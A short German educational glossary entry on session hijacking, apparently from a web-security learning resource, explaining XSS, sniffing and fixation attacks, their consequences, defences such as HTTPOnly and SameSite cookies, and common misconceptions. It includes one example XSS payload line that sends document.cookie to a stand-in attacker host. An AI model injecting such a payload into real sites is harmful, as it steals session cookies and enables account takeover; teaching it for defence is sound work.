Session-Hijacking
Session-Hijacking stiehlt gültige Session-IDs, um fremde Sessions zu übernehmen. Methoden: XSS (Cookie-Diebstahl), MITM (Sniffing), Session-Fixation. Schutz: HTTPOnly, Secure, SameSite-Cookies.
detaillierte erklärung
Session-Hijacking kompromittiert gültige Session-IDs, um Authentifizierung zu umgehen. Angriffsvektoren: 1) XSS - JavaScript liest document.cookie, sendet Session-ID an Angreifer (document.location='attacker.com/?cookie='+document.cookie). 2) MITM - Sniffing von unverschlüsseltem HTTP-Verkehr (Wireshark, tcpdump). 3) Session-Fixation - Angreifer setzt bekannte Session-ID beim Opfer, wartet auf Login. 4) Session-Sidejacking (Firesheep) - Sniffing in öffentlichen WLANs. Konsequenzen: Komplette Account-Übernahme (Angreifer ist eingeloggt als Opfer), keine Credentials nötig. Schutzmaßnahmen: HTTPOnly-Cookies (JavaScript kann nicht zugreifen, stoppt XSS-Cookie-Diebstahl), Secure-Flag (Cookie nur über HTTPS), SameSite-Attribute (verhindert Cross-Site-Requests), Session-Regeneration nach Login (stoppt Fixation), IP-/User-Agent-Binding (limitiert, wegen NAT/Mobile), kurze Session-Timeouts.
warum ist das wichtig?
Session-Hijacking ist klassischer Web-Angriff - du musst verstehen, warum HTTPOnly-Cookies essenziell sind und wie XSS zu Session-Hijacking führt. Essentiell für Web-Security-Audits und OWASP-Top-10-Mitigation.
häufige fehler
- ⚠HTTPOnly verhindert alle Session-Hijacks - Nein, nur XSS-basierte (MITM funktioniert trotzdem ohne HTTPS)
- ⚠HTTPS macht Session-Hijacking unmöglich - Nein, XSS kann trotzdem Cookies stehlen (HTTPOnly ist zusätzlich nötig)
- ⚠Session-ID im URL ist ok - NEIN, URLs werden geloggt (Server-Logs, Browser-History, Referer)